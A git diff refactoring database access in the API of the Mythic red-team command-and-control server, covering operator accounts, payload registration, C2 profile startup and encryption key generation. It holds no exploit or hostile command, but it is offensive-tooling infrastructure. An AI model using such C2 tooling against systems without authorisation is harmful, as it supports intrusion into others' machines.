+ payload_type = await app.db_objects.get(db_model.payloadtype_query, ptype=ptype)
for cmd in data[name][ptype]:
- query = await db_model.command_query()
- command = await db_objects.get(
- query, cmd=cmd, payload_type=payload_type
+ command = await app.db_objects.get(
+ db_model.command_query, cmd=cmd, payload_type=payload_type
)
try:
- profile = await db_objects.create(
+ profile = await app.db_objects.create(
DisabledCommandsProfile, name=name, command=command
)
added_acl.append(profile.to_json())
@@ -595,20 +583,18 @@ async def delete_disabled_commands_profile(request, user, profile):
"error": "Must be a Mythic admin to delete command profiles",
}
)
- query = await db_model.disabledcommandsprofile_query()
- commands_profile = await db_objects.execute(
- query.where(DisabledCommandsProfile.name == profile)
+ commands_profile = await app.db_objects.execute(
+ db_model.disabledcommandsprofile_query.where(DisabledCommandsProfile.name == profile)
)
# make sure that the mapping is gone from operatoroperation.base_disabled_commands
- query = await db_model.operatoroperation_query()
- operator_operation_mapping = await db_objects.execute(
- query.where(DisabledCommandsProfile.name == profile)
+ operator_operation_mapping = await app.db_objects.execute(
+ db_model.operatoroperation_query.where(DisabledCommandsProfile.name == profile)
)
for o in operator_operation_mapping:
o.base_disabled_commands = None
- await db_objects.update(o)
+ await app.db_objects.update(o)
for c in commands_profile:
- await db_objects.delete(c)
+ await app.db_objects.delete(c)
return json({"status": "success", "name": profile})
except Exception as e:
@@ -646,11 +632,9 @@ async def update_disabled_commands_profile(request, user):
data = request.json
added_acl = []
# {"profile_name": {"payload type": [command name, command name 2], "Payload type 2": [] }
- print(data)
- disabled_profile_query = await db_model.disabledcommandsprofile_query()
for name in data:
- current_commands = await db_objects.execute(
- disabled_profile_query.where(
+ current_commands = await app.db_objects.execute(
+ db_model.disabledcommandsprofile_query.where(
db_model.DisabledCommandsProfile.name == name
)
)
@@ -669,17 +653,15 @@ async def update_disabled_commands_profile(request, user):
remove.append(cc)
# now we need to remove everything in 'remove'
for r in remove:
- await db_objects.delete(r)
+ await app.db_objects.delete(r)
# we need to add everything still in data
for ptype in data[name]:
- query = await db_model.payloadtype_query()
- payload_type = await db_objects.get(query, ptype=ptype)
+ payload_type = await app.db_objects.get(db_model.payloadtype_query, ptype=ptype)
for cmd in data[name][ptype]:
- query = await db_model.command_query()
- command = await db_objects.get(
- query, cmd=cmd, payload_type=payload_type
+ command = await app.db_objects.get(
+ db_model.command_query, cmd=cmd, payload_type=payload_type
)
- profile = await db_objects.create(
+ profile = await app.db_objects.create(
DisabledCommandsProfile, name=name, command=command
)
added_acl.append(profile.to_json())
@@ -694,13 +676,41 @@ async def update_disabled_commands_profile(request, user):
)
-async def send_all_operations_message(message: str, level: str):
- query = await db_model.operation_query()
- operations = await db_objects.execute(query)
- for o in operations:
- await db_objects.create(
- db_model.OperationEventLog,
- operation=o,
- level=level,
- message=message,
- )
\ No newline at end of file
+async def send_all_operations_message(message: str, level: str, source: str = "", operation=None):
+ try:
+ operations = await app.db_objects.execute(db_model.operation_query.where(db_model.Operation.complete == False))
+ if source == "":
+ source = str(uuid.uuid4())
+ for o in operations:
+ if operation is None or operation == o:
+ try:
+ msg = await app.db_objects.count(db_model.operationeventlog_query.where(
+ (db_model.OperationEventLog.level == "warning") &
+ (db_model.OperationEventLog.source == source) &
+ (db_model.OperationEventLog.operation == o) &
+ (db_model.OperationEventLog.resolved == False) &
+ (db_model.OperationEventLog.deleted == False)
+ ).order_by(-db_model.OperationEventLog.id).limit(1))
+ if msg == 0:
+ await app.db_objects.create(
+ db_model.OperationEventLog,
+ operation=o,
+ level=level,
+ message=message,
+ source=source
+ )
+ else:
+ msg = await app.db_objects.execute(db_model.operationeventlog_query.where(
+ (db_model.OperationEventLog.level == "warning") &
+ (db_model.OperationEventLog.source == source) &
+ (db_model.OperationEventLog.operation == o) &
+ (db_model.OperationEventLog.resolved == False) &
+ (db_model.OperationEventLog.deleted == False)
+ ).order_by(-db_model.OperationEventLog.id).limit(1))
+ for m in msg:
+ m.count = m.count + 1
+ await app.db_objects.update(m)
+ except Exception as e:
+ print(e)
+ except Exception as b:
+ print(b)
\ No newline at end of file
diff --git a/mythic-docker/app/api/operator_api.py b/mythic-docker/app/api/operator_api.py
index de881b843..6b6958b2f 100755
--- a/mythic-docker/app/api/operator_api.py
+++ b/mythic-docker/app/api/operator_api.py
@@ -1,4 +1,5 @@
-from app import mythic, db_objects
+from app import mythic
+import app
from sanic.response import json
from app.database_models.model import Operator
from sanic import response
@@ -9,6 +10,7 @@
import app.database_models.model as db_model
from sanic.exceptions import abort
from app.api.browserscript_api import set_default_scripts
+from uuid import uuid4
@mythic.route(mythic.config["API_BASE"] + "/operators/", methods=["GET"])
@@ -22,8 +24,7 @@ async def get_all_operators(request, user):
status_code=403,
message="Cannot access via Cookies. Use CLI or access via JS in browser",
)
- query = await db_model.operator_query()
- ops = await db_objects.execute(query.where(db_model.Operator.deleted == False))
+ ops = await app.db_objects.execute(db_model.operator_query.where(db_model.Operator.deleted == False))
return json([p.to_json() for p in ops])
@@ -39,8 +40,7 @@ async def get_my_operator(request, user):
message="Cannot access via Cookies. Use CLI or access via JS in browser",
)
try:
- query = await db_model.operator_query()
- operator = await db_objects.get(query, username=user["username"])
+ operator = await app.db_objects.get(db_model.operator_query, username=user["username"])
return json({"status": "success", **operator.to_json()})
except Exception as e:
return json({"status": "error", "error": "failed to get current operator"})
@@ -71,11 +71,59 @@ async def create_operator(request, user):
"error": '"username" must be string with at least one character',
}
)
- password = await crypto.hash_SHA512(data["password"])
+ salt = str(uuid4())
+ if len(data["password"]) < 12:
+ return json({"status": "error", "error": "password must be at least 12 characters long"})
+ password = await crypto.hash_SHA512(salt + data["password"])
# we need to create a new user
try:
- new_operator = await db_objects.create(
- Operator, username=data["username"], password=password, admin=False
+ new_operator = await app.db_objects.create(
+ Operator, username=data["username"], password=password, admin=False, salt=salt, active=True
+ )
+ success = {"status": "success"}
+ new_user = new_operator.to_json()
+ # try to get the browser script code to auto load for the new operator
+ await set_default_scripts(new_operator)
+ # print(result)
+ return response.json({**success, **new_user})
+ except Exception as e:
+ return json({"status": "error", "error": "failed to add user: " + str(e)})
+
+
+@mythic.route(mythic.config["API_BASE"] + "/create_operator", methods=["POST"])
+@inject_user()
+@scoped(
+ ["auth:user", "auth:apitoken_user"], False
+) # user or user-level api token are ok
+async def create_operator_graphql(request, user):
+ if user["auth"] not in ["access_token", "apitoken"]:
+ abort(
+ status_code=403,
+ message="Cannot access via Cookies. Use CLI or access via JS in browser",
+ )
+ data = request.json
+ data = data["input"]["input"]
+ if user["view_mode"] == "spectator":
+ return json({"status": "error", "error": "Spectators cannot create users"})
+ if not user["admin"]:
+ return json({"status": "error", "error": "Only admins can create new users"})
+ if "username" not in data or data["username"] == "":
+ return json({"status": "error", "error": '"username" field is required'})
+ if not isinstance(data["username"], str) or not len(data["username"]):
+ return json(
+ {
+ "status": "error",
+ "error": '"username" must be string with at least one character',
+ }
+ )
+ salt = str(uuid4())
+ password = await crypto.hash_SHA512(salt + data["password"])
+ if len(data["password"]) < 12:
+ return json({"status": "error", "error": "password must be at least 12 characters long"})
+ # we need to create a new user
+ try:
+ new_operator = await app.db_objects.create(
+ Operator, username=data["username"], password=password, admin=False, salt=salt, active=True
)
success = {"status": "success"}
new_user = new_operator.to_json()
@@ -99,8 +147,7 @@ async def get_one_operator(request, oid, user):
message="Cannot access via Cookies. Use CLI or access via JS in browser",
)
try:
- query = await db_model.operator_query()
- op = await db_objects.get(query, id=oid)
+ op = await app.db_objects.get(db_model.operator_query, id=oid)
if op.username == user["username"] or user["view_mode"] != "spectator":
return json({"status": "success", **op.to_json()})
else:
@@ -152,8 +199,7 @@ async def update_operator(request, oid, user):
message="Cannot access via Cookies. Use CLI or access via JS in browser",
)
try:
- query = await db_model.operator_query()
- op = await db_objects.get(query, id=oid)
+ op = await app.db_objects.get(db_model.operator_query, id=oid)
if op.username != user["username"] and not user["admin"]:
# you can't change the name of somebody else unless you're admin
return json(
@@ -164,7 +210,9 @@ async def update_operator(request, oid, user):
)
data = request.json
if "password" in data:
- op.password = await crypto.hash_SHA512(data["password"])
+ if len(data["password"]) < 12:
+ return json({"status": "error", "error": "password must be at least 12 characters long"})
+ op.password = await crypto.hash_SHA512(op.salt + data["password"])
if (
"admin" in data and user["admin"]
): # only a current admin can make somebody an admin
@@ -175,8 +223,7 @@ async def update_operator(request, oid, user):
op.active = data["active"]
if "current_operation" in data:
if data["current_operation"] in user["operations"]:
- query = await db_model.operation_query()
- current_op = await db_objects.get(query, name=data["current_operation"])
+ current_op = await app.db_objects.get(db_model.operation_query, name=data["current_operation"])
op.current_operation = current_op
if "ui_config" in data:
if data["ui_config"] == "default":
@@ -190,7 +237,7 @@ async def update_operator(request, oid, user):
if "view_utc_time" in data:
op.view_utc_time = data["view_utc_time"]
try:
- await db_objects.update(op)
+ await app.db_objects.update(op)
success = {"status": "success"}
except Exception as e:
return json(
@@ -217,8 +264,7 @@ async def remove_operator(request, oid, user):
)
try:
- query = await db_model.operator_query()
- op = await db_objects.get(query, id=oid)
+ op = await app.db_objects.get(db_model.operator_query, id=oid)
if op.username != user["username"] and not user["admin"]:
return json(
{
@@ -240,7 +286,7 @@ async def remove_operator(request, oid, user):
op.deleted = True
op.active = False
op.admin = False
- await db_objects.update(op)
+ await app.db_objects.update(op)
success = {"status": "success"}
return json({**success, **op.to_json()})
except Exception as e:
diff --git a/mythic-docker/app/api/payloadonhost_api.py b/mythic-docker/app/api/payloadonhost_api.py
index 0f226daaf..d4165a8fa 100644
--- a/mythic-docker/app/api/payloadonhost_api.py
+++ b/mythic-docker/app/api/payloadonhost_api.py
@@ -1,4 +1,5 @@
-from app import mythic, db_objects
+from app import mythic
+import app
from sanic_jwt.decorators import inject_user, scoped
import app.database_models.model as db_model
from sanic.response import json
@@ -19,11 +20,9 @@ async def get_payloadsonhost(request, user):
message="Cannot access via Cookies. Use CLI or access via JS in browser",
)
try:
- query = await db_model.operation_query()
- operation = await db_objects.get(query, name=user["current_operation"])
- poh_query = await db_model.payloadonhost_query()
- poh = await db_objects.execute(
- poh_query.where(
+ operation = await app.db_objects.get(db_model.operation_query, name=user["current_operation"])
+ poh = await app.db_objects.execute(
+ db_model.payloadonhost_query.where(
(db_model.PayloadOnHost.operation == operation)
& (db_model.PayloadOnHost.deleted == False)
)
@@ -62,13 +61,11 @@ async def add_payload_to_host(request, user):
return json(
{"status": "error", "error": "uuid of a payload must be supplied"}
)
- query = await db_model.operation_query()
- operation = await db_objects.get(query, name=user["current_operation"])
- payload_query = await db_model.payload_query()
- payload = await db_objects.get(payload_query, uuid=data["uuid"])
- data["host"] = data["host"].upper()
+ operation = await app.db_objects.get(db_model.operation_query, name=user["current_operation"])
+ payload = await app.db_objects.get(db_model.payload_query, uuid=data["uuid"])
+ data["host"] = data["host"]
try:
- payloadonhost = await db_objects.get(
+ payloadonhost = await app.db_objects.get(
db_model.PayloadOnHost,
host=data["host"].upper(),
payload=payload,
@@ -76,7 +73,7 @@ async def add_payload_to_host(request, user):
deleted=False,
)
except Exception as e:
- payloadonhost = await db_objects.create(
+ payloadonhost = await app.db_objects.create(
db_model.PayloadOnHost,
host=data["host"].upper(),
payload=payload,
@@ -112,12 +109,10 @@ async def delete_payloadonhost(request, user, poh_id):
"error": "Spectators cannot remove payloads from hosts",
}
)
- query = await db_model.operation_query()
- operation = await db_objects.get(query, name=user["current_operation"])
- poh_query = await db_model.payloadonhost_query()
- poh = await db_objects.get(poh_query, operation=operation, id=poh_id)
+ operation = await app.db_objects.get(db_model.operation_query, name=user["current_operation"])
+ poh = await app.db_objects.get(db_model.payloadonhost_query, operation=operation, id=poh_id)
poh.deleted = True
- await db_objects.update(poh)
+ await app.db_objects.update(poh)
return json({"status": "success", "payload": poh.to_json()})
except Exception as e:
print(str(e))
@@ -147,12 +142,10 @@ async def delete_payloadonhost_by_host(request, user, host: str):
"error": "Spectators cannot remove payloads on hosts",
}
)
- query = await db_model.operation_query()
- operation = await db_objects.get(query, name=user["current_operation"])
+ operation = await app.db_objects.get(db_model.operation_query, name=user["current_operation"])
hostname = base64.b64decode(host).decode().upper()
- poh_query = await db_model.payloadonhost_query()
- poh = await db_objects.execute(
- poh_query.where(
+ poh = await app.db_objects.execute(
+ db_model.payloadonhost_query.where(
(db_model.PayloadOnHost.operation == operation)
& (db_model.PayloadOnHost.deleted == False)
& (db_model.PayloadOnHost.host == hostname)
@@ -161,7 +154,7 @@ async def delete_payloadonhost_by_host(request, user, host: str):
deleted = []
for p in poh:
p.deleted = True
- await db_objects.update(p)
+ await app.db_objects.update(p)
deleted.append(p.to_json())
return json({"status": "success", "payload": deleted})
except Exception as e:
diff --git a/mythic-docker/app/api/payloads_api.py b/mythic-docker/app/api/payloads_api.py
index e06c3180a..48a59fd26 100755
--- a/mythic-docker/app/api/payloads_api.py
+++ b/mythic-docker/app/api/payloads_api.py
@@ -1,5 +1,6 @@
-from app import mythic, db_objects
-from sanic.response import json, file
+from app import mythic
+import app
+from sanic.response import json, file_stream
from app.database_models.model import (
Payload,
C2ProfileParameters,
@@ -19,9 +20,12 @@
import ujson as js
from datetime import datetime, timedelta
from sanic.exceptions import abort
-from app.api.rabbitmq_api import send_c2_rabbitmq_message
+from app.api.c2profiles_api import start_stop_c2_profile
from app.api.operation_api import send_all_operations_message
-from app.crypto import create_key_AES256
+from app.api.crypto_api import generate_enc_dec_keys
+import logging
+import asyncio
+from app.api.c2profiles_api import c2_rpc
@mythic.route(mythic.config["API_BASE"] + "/payloads/", methods=["GET"])
@@ -36,8 +40,7 @@ async def get_all_payloads(request, user):
message="Cannot access via Cookies. Use CLI or access via JS in browser",
)
if user["admin"]:
- query = await db_model.payload_query()
- payloads = await db_objects.execute(query)
+ payloads = await app.db_objects.execute(db_model.payload_query)
return json([p.to_json() for p in payloads])
else:
return json(
@@ -59,11 +62,9 @@ async def get_all_payloads_current_operation(request, user):
message="Cannot access via Cookies. Use CLI or access via JS in browser",
)
if user["current_operation"] != "":
- query = await db_model.operation_query()
- operation = await db_objects.get(query, name=user["current_operation"])
- query = await db_model.payload_query()
- payloads = await db_objects.execute(
- query.where((Payload.operation == operation) & (Payload.deleted == False))
+ operation = await app.db_objects.get(db_model.operation_query, name=user["current_operation"])
+ payloads = await app.db_objects.execute(
+ db_model.payload_query.where((Payload.operation == operation) & (Payload.deleted == False))
)
return json([p.to_json() for p in payloads])
else:
@@ -84,10 +85,7 @@ async def get_all_payloads_current_operation(request, user):
message="Cannot access via Cookies. Use CLI or access via JS in browser",
)
if user["current_operation"] != "":
- query = await db_model.operation_query()
- operation = await db_objects.get(query, name=user["current_operation"])
- query = await db_model.payload_query()
- ptype_query = await db_model.payloadtype_query()
+ operation = await app.db_objects.get(db_model.operation_query, name=user["current_operation"])
data = request.json
output = {}
if "ptypes" not in data:
@@ -96,9 +94,9 @@ async def get_all_payloads_current_operation(request, user):
)
for p in data["ptypes"]:
try:
- ptype = await db_objects.get(ptype_query, ptype=p, deleted=False)
- payloads = await db_objects.execute(
- query.where(
+ ptype = await app.db_objects.get(db_model.payloadtype_query, ptype=p, deleted=False)
+ payloads = await app.db_objects.execute(
+ db_model.payload_query.where(
(Payload.operation == operation)
& (Payload.deleted == False)
& (Payload.payload_type == ptype)
@@ -115,6 +113,36 @@ async def get_all_payloads_current_operation(request, user):
return json({"status": "error", "error": "must be part of a current operation"})
+@mythic.route(mythic.config["API_BASE"] + "/payloads/", methods=["GET"])
+@inject_user()
+@scoped(
+ ["auth:user", "auth:apitoken_user"], False
+) # user or user-level api token are ok
+async def get_one_payload_info(request, puuid, user):
+ if user["auth"] not in ["access_token", "apitoken"]:
+ abort(
+ status_code=403,
+ message="Cannot access via Cookies. Use CLI or access via JS in browser",
+ )
+ try:
+ payload = await app.db_objects.get(db_model.payload_query, uuid=puuid)
+ except Exception as e:
+ logging.warning("payloads_api.py - " + str(sys.exc_info()[-1].tb_lineno) + " " + str(e))
+ return json({"status": "error", "error": "failed to find payload"})
+ if payload.operation.name in user["operations"]:
+ config = await get_payload_config(payload)
+ if payload.wrapped_payload is not None:
+ config["wrapped"] = await get_payload_config(payload.wrapped_payload)
+ return json(config)
+ else:
+ return json(
+ {
+ "status": "error",
+ "error": "you need to be part of the right operation to see this",
+ }
+ )
+
+
@mythic.route(
mythic.config["API_BASE"] + "/payloads/", methods=["DELETE"]
)
@@ -133,8 +161,7 @@ async def remove_payload(request, puuid, user):
return json(
{"status": "error", "error": "Spectators cannot remove payload"}
)
- query = await db_model.operation_query()
- operation = await db_objects.get(query, name=user["current_operation"])
+ operation = await app.db_objects.get(db_model.operation_query, name=user["current_operation"])
return json(await remove_payload_func(puuid, operation))
except Exception as e:
return json({"status": "error", "error": "Failed to find operation"})
@@ -142,31 +169,29 @@ async def remove_payload(request, puuid, user):
async def remove_payload_func(uuid, operation):
try:
- query = await db_model.payload_query()
- payload = await db_objects.get(query, uuid=uuid, operation=operation)
+ payload = await app.db_objects.get(db_model.payload_query, uuid=uuid, operation=operation)
except Exception as e:
- print(str(sys.exc_info()[-1].tb_lineno) + " " + str(e))
+ logging.warning("payloads_api.py - " + str(sys.exc_info()[-1].tb_lineno) + " " + str(e))
return {"status": "error", "error": "specified payload does not exist"}
try:
payload.deleted = True
- await db_objects.update(payload)
- if os.path.exists(payload.file_id.path):
+ await app.db_objects.update(payload)
+ if os.path.exists(payload.file.path):
try:
- os.remove(payload.file_id.path)
+ os.remove(payload.file.path)
except Exception as e:
- print(str(sys.exc_info()[-1].tb_lineno) + " " + str(e))
+ logging.warning("payloads_api.py - " + str(sys.exc_info()[-1].tb_lineno) + " " + str(e))
# if we started hosting this payload as a file in our database, we need to remove that as well
- query = await db_model.filemeta_query()
- file_metas = await db_objects.execute(
- query.where(FileMeta.path == payload.file_id.path)
+ file_metas = await app.db_objects.execute(
+ db_model.filemeta_query.where(FileMeta.path == payload.file.path)
)
for fm in file_metas:
fm.deleted = True
- await db_objects.update(fm)
+ await app.db_objects.update(fm)
success = {"status": "success"}
return {**success, **payload.to_json()}
except Exception as e:
- print(str(sys.exc_info()[-1].tb_lineno) + " " + str(e))
+ logging.warning("payloads_api.py - " + str(sys.exc_info()[-1].tb_lineno) + " " + str(e))
return {"status": "error", "error": "failed to delete payload: " + uuid}
@@ -186,8 +211,7 @@ async def remove_multiple_payload(request, user):
return json(
{"status": "error", "error": "Spectators cannot remove payloads"}
)
- query = await db_model.operation_query()
- operation = await db_objects.get(query, name=user["current_operation"])
+ operation = await app.db_objects.get(db_model.operation_query, name=user["current_operation"])
data = request.json
errors = {}
successes = {}
@@ -202,7 +226,7 @@ async def remove_multiple_payload(request, user):
else:
return json({"status": "error", "errors": errors, "successes": successes})
except Exception as e:
- print(str(sys.exc_info()[-1].tb_lineno) + " " + str(e))
+ logging.warning("payloads_api.py - " + str(sys.exc_info()[-1].tb_lineno) + " " + str(e))
return json(
{
"status": "error",
@@ -214,266 +238,359 @@ async def remove_multiple_payload(request, user):
async def register_new_payload_func(data, user):
- if user["current_operation"] == "":
- return {"status": "error", "error": "must be in an active operation"}
- if "payload_type" not in data:
- return {"status": "error", "error": '"payload_type" field is required'}
try:
- query = await db_model.payloadtype_query()
- payload_type = await db_objects.get(query, ptype=data["payload_type"])
- except Exception as e:
- print(str(sys.exc_info()[-1].tb_lineno) + " " + str(e))
- return {
- "status": "error",
- "error": "failed to get payload type when registering payload",
- }
- if "c2_profiles" not in data and not payload_type.wrapper:
- return {"status": "error", "error": '"c2_profiles" field is required'}
- # the other parameters are based on the payload_type, c2_profile, or other payloads
- try:
- query = await db_model.operator_query()
- operator = await db_objects.get(query, username=user["username"])
- query = await db_model.operation_query()
- operation = await db_objects.get(query, name=user["current_operation"])
- except Exception as e:
- print(str(sys.exc_info()[-1].tb_lineno) + " " + str(e))
- return {
- "status": "error",
- "error": "failed to get operator or operation when registering payload",
- }
- # we want to track the parent callbacks of new callbacks if possible
- tag = data["tag"] if "tag" in data else ""
- # if the type of payload is a wrapper, then it doesn't have any commands associated with it
- # otherwise, get all of the commands and make sure they're valid
- if not payload_type.wrapper:
+ if user["current_operation"] == "":
+ return {"status": "error", "error": "must be in an active operation"}
+ if "payload_type" not in data:
+ return {"status": "error", "error": '"payload_type" field is required'}
+ try:
+ payload_type = await app.db_objects.get(db_model.payloadtype_query, ptype=data["payload_type"])
+ except Exception as e:
+ logging.warning("payloads_api.py - " + str(sys.exc_info()[-1].tb_lineno) + " " + str(e))
+ return {
+ "status": "error",
+ "error": "failed to get payload type when registering payload",
+ }
+ if "c2_profiles" not in data and not payload_type.wrapper:
+ return {"status": "error", "error": '"c2_profiles" field is required'}
+ # the other parameters are based on the payload_type, c2_profile, or other payloads
+ try:
+ operator = await app.db_objects.get(db_model.operator_query, username=user["username"])
+ operation = await app.db_objects.get(db_model.operation_query, name=user["current_operation"])
+ except Exception as e:
+ logging.warning("payloads_api.py - " + str(sys.exc_info()[-1].tb_lineno) + " " + str(e))
+ return {
+ "status": "error",
+ "error": "failed to get operator or operation when registering payload",
+ }
+ # we want to track the parent callbacks of new callbacks if possible
+ tag = data["tag"] if "tag" in data else ""
+ # if the type of payload is a wrapper, then it doesn't have any commands associated with it
+ # otherwise, get all of the commands and make sure they're valid
db_commands = {}
- if "commands" not in data or data["commands"] is None:
- data["commands"] = []
- for cmd in data["commands"]:
- try:
- query = await db_model.command_query()
- db_commands[cmd] = await db_objects.get(
- query, cmd=cmd, payload_type=payload_type
- )
- except Exception as e:
- return {
- "status": "error",
- "error": "failed to get command {}".format(cmd),
- }
- uuid = await generate_uuid()
- filename = data["filename"] if "filename" in data else uuid
- # Register payload
- if "build_container" not in data:
- data["build_container"] = payload_type.ptype
- if not payload_type.wrapper:
- file_meta = await db_objects.create(
- db_model.FileMeta,
- operation=operation,
- operator=operator,
- total_chunks=1,
- is_payload=True,
- complete=True,
- chunks_received=1,
- delete_after_fetch=False,
- filename=filename,
- path="./app/files/{}".format(uuid),
- )
- payload = await db_objects.create(
- Payload,
- operator=operator,
- payload_type=payload_type,
- tag=tag,
- uuid=uuid,
- operation=operation,
- build_container=data["build_container"],
- file_id=file_meta,
- )
- await db_objects.create(
- db_model.OperationEventLog,
- operation=operation,
- message="New payload {} from {} with UUID {} and tag: {}".format(
- payload_type.ptype, operator.username, payload.uuid, payload.tag
- ),
- )
+ if not payload_type.wrapper:
- for cmd in db_commands:
- try:
- pc = await db_objects.create(
- PayloadCommand,
- payload=payload,
- command=db_commands[cmd],
- version=db_commands[cmd].version,
- )
- except Exception as e:
- print(str(sys.exc_info()[-1].tb_lineno) + " " + str(e))
- # this should delete any PayloadCommands that managed to get created before the error
- return {
- "status": "error",
- "error": "Failed to create payloadcommand: " + str(e),
- }
- # go through each c2 profile and creating payload/c2 mappings and instantiate their parameters
- # Get all of the c2 profile parameters and create their instantiations
- for p in data["c2_profiles"]:
- try:
- query = await db_model.c2profile_query()
- c2_profile = await db_objects.get(query, name=p["c2_profile"])
- if c2_profile.container_running:
- await send_c2_rabbitmq_message(
- c2_profile.name, "start", "", user["username"]
+ if "commands" not in data or data["commands"] is None:
+ data["commands"] = []
+ for cmd in data["commands"]:
+ try:
+ db_commands[cmd] = await app.db_objects.get(
+ db_model.command_query, cmd=cmd, payload_type=payload_type
)
- await send_all_operations_message(message=f"Starting {c2_profile.name} C2 Profile", level="info")
- except Exception as e:
- print(str(sys.exc_info()[-1].tb_lineno) + " " + str(e))
- return {
- "status": "error",
- "error": "failed to get c2 profile when registering payload",
- }
- query = await db_model.c2profileparameters_query()
- db_c2_profile_parameters = await db_objects.execute(
- query.where(C2ProfileParameters.c2_profile == c2_profile)
+ except Exception as e:
+ return {
+ "status": "error",
+ "error": "failed to get command {}".format(cmd),
+ }
+ uuid = await generate_uuid()
+ filename = data["filename"] if "filename" in data else uuid
+ # Register payload
+ if "build_container" not in data:
+ data["build_container"] = payload_type.ptype
+ if not payload_type.wrapper:
+ file_meta = await app.db_objects.create(
+ db_model.FileMeta,
+ operation=operation,
+ operator=operator,
+ total_chunks=1,
+ is_payload=True,
+ complete=True,
+ chunks_received=1,
+ delete_after_fetch=False,
+ filename=filename.encode("utf-8"),
+ path="./app/files/{}".format(uuid),
+ )
+ payload = await app.db_objects.create(
+ Payload,
+ operator=operator,
+ payload_type=payload_type,
+ tag=tag,
+ uuid=uuid,
+ operation=operation,
+ os=data["selected_os"],
+ build_container=data["build_container"],
+ file=file_meta,
+ )
+ await app.db_objects.create(
+ db_model.OperationEventLog,
+ operation=operation,
+ message="Creating new payload {} from {} with UUID {} and tag: {}".format(
+ payload_type.ptype, operator.username, payload.uuid, payload.tag
+ ),
)
- for param in db_c2_profile_parameters:
- # find the matching data in the data['c2_profile_parameters']
+
+ for cmd in db_commands:
try:
- if param.name not in p["c2_profile_parameters"]:
- if param.name == "AESPSK":
- p["c2_profile_parameters"][
- param.name
- ] = await create_key_AES256()
- elif param.randomize:
- # generate a random value based on the associated format_string variable
+ pc = await app.db_objects.create(
+ PayloadCommand,
+ payload=payload,
+ command=db_commands[cmd],
+ version=db_commands[cmd].version,
+ )
+ except Exception as e:
+ logging.warning("payloads_api.py - " + str(sys.exc_info()[-1].tb_lineno) + " " + str(e))
+ # this should delete any PayloadCommands that managed to get created before the error
+ return {
+ "status": "error",
+ "error": "Failed to create payloadcommand: " + str(e),
+ }
+ # go through each c2 profile and creating payload/c2 mappings and instantiate their parameters
+ # Get all of the c2 profile parameters and create their instantiations
+ for p in data["c2_profiles"]:
+ try:
+ c2_profile = await app.db_objects.get(db_model.c2profile_query, name=p["c2_profile"])
+ if c2_profile.container_running and not c2_profile.running and not c2_profile.is_p2p:
+ await send_all_operations_message(message=f"Starting {c2_profile.name} C2 Profile when creating payload", level="info", source="starting_c2_profile")
+ c2status, successfully_sent = await start_stop_c2_profile(c2_profile, "start")
+ if not successfully_sent:
+ await send_all_operations_message(message=f"Failed to contact and start {c2_profile.name} C2 Profile",
+ level="warning", source="starting_c2_profile")
+ else:
+ status = js.loads(c2status)
+ if "running" in status:
+ if status["running"]:
+ await send_all_operations_message(message=f"Successfully started {c2_profile.name} C2 Profile\n{status['output']}",
+ level="info", source="starting_c2_profile")
+ else:
+ await send_all_operations_message(message=f"Failed to start {c2_profile.name} C2 Profile\n{status['output']}",
+ level="warning", source="starting_c2_profile")
+ c2_profile.running = status.pop("running")
+ await app.db_objects.update(c2_profile)
+
+ except Exception as e:
+ logging.warning("payloads_api.py - " + str(sys.exc_info()[-1].tb_lineno) + " " + str(e))
+ payload.build_phase = "error"
+ payload.build_stderr = f"failed to get c2 profile when registering payload"
+ await app.db_objects.update(payload)
+ return {
+ "status": "error",
+ "error": "failed to get c2 profile when registering payload",
+ }
+ db_c2_profile_parameters = await app.db_objects.execute(
+ db_model.c2profileparameters_query.where( (C2ProfileParameters.c2_profile == c2_profile) & (C2ProfileParameters.deleted == False))
+ )
+ for param in db_c2_profile_parameters:
+ # find the matching data in the data['c2_profile_parameters']
+ try:
+ if param.name not in p["c2_profile_parameters"]:
+ if param.randomize:
+ # generate a random value based on the associated format_string variable
+ from app.api.c2profiles_api import (
+ generate_random_format_string,
+ )
+
+ p["c2_profile_parameters"][
+ param.name
+ ] = await generate_random_format_string(param.format_string)
+ elif param.parameter_type == "ChooseOne":
+ p["c2_profile_parameters"][
+ param.name
+ ] = param.default_value.split("\n")[0]
+ elif param.parameter_type == "Date":
+ if param.default_value == "":
+ p["c2_profile_parameters"][param.name] = (datetime.utcnow() + timedelta(days=1)).strftime("%Y-%m-%d")
+ else:
+ p["c2_profile_parameters"][param.name] = (
+ datetime.utcnow() + timedelta(days=int(param.default_value))
+ ).strftime("%Y-%m-%d")
+ elif param.parameter_type == "Dictionary":
+ # default for a dictionary type is to just display all those that have "default_show" to true
+ default_dict = js.loads(param.default_value)
+ temp_dict = []
+ for entry in default_dict:
+ if entry.default_show:
+ temp_dict.append({"key": entry.name, "name": entry.name, "value": entry.default_value})
+ p["c2_profile_parameter"][param.name] = temp_dict
+ else:
+ p["c2_profile_parameters"][param.name] = param.default_value
+ elif param.randomize and "randomize" in data and data["randomize"]:
from app.api.c2profiles_api import (
generate_random_format_string,
)
-
p["c2_profile_parameters"][
param.name
] = await generate_random_format_string(param.format_string)
- elif param.parameter_type == "ChooseOne":
- p["c2_profile_parameters"][
- param.name
- ] = param.default_value.split("\n")[0]
- elif param.parameter_type == "Date":
- if param.default_value == "":
- p["c2_profile_parameters"][param.name] = (datetime.utcnow() + timedelta(days=1)).strftime("%Y-%m-%d")
+ if param.parameter_type in ["Array", "Dictionary"]:
+ p["c2_profile_parameters"][param.name] = js.dumps(p["c2_profile_parameters"][param.name])
+ c2p = await app.db_objects.create(
+ C2ProfileParametersInstance,
+ c2_profile_parameters=param,
+ value=p["c2_profile_parameters"][param.name],
+ payload=payload,
+ c2_profile=c2_profile,
+ )
+ if param.crypto_type:
+ if payload.payload_type.mythic_encrypts:
+ keys = await generate_enc_dec_keys(p["c2_profile_parameters"][param.name])
+ c2p.enc_key = keys["enc_key"]
+ c2p.dec_key = keys["dec_key"]
+ await app.db_objects.update(c2p)
+ if c2p.enc_key is None:
+ await app.db_objects.create(db_model.OperationEventLog, level="warning", operation=payload.operation,
+ message=f"Using no encryption for payload {bytes(payload.file.filename).decode('utf-8')} ({payload.uuid}) in {c2_profile.name}! Specified encryption type of {c2p.value}")
else:
- p["c2_profile_parameters"][param.name] = (
- datetime.utcnow() + timedelta(days=int(param.default_value))
- ).strftime("%Y-%m-%d")
- elif param.parameter_type == "Dictionary":
- # default for a dictionary type is to just display all those that have "default_show" to true
- default_dict = js.loads(param.default_value)
- temp_dict = []
- for entry in default_dict:
- if entry.default_show:
- temp_dict.append({"key": entry.key, "name": entry.name, "value": entry.default_value})
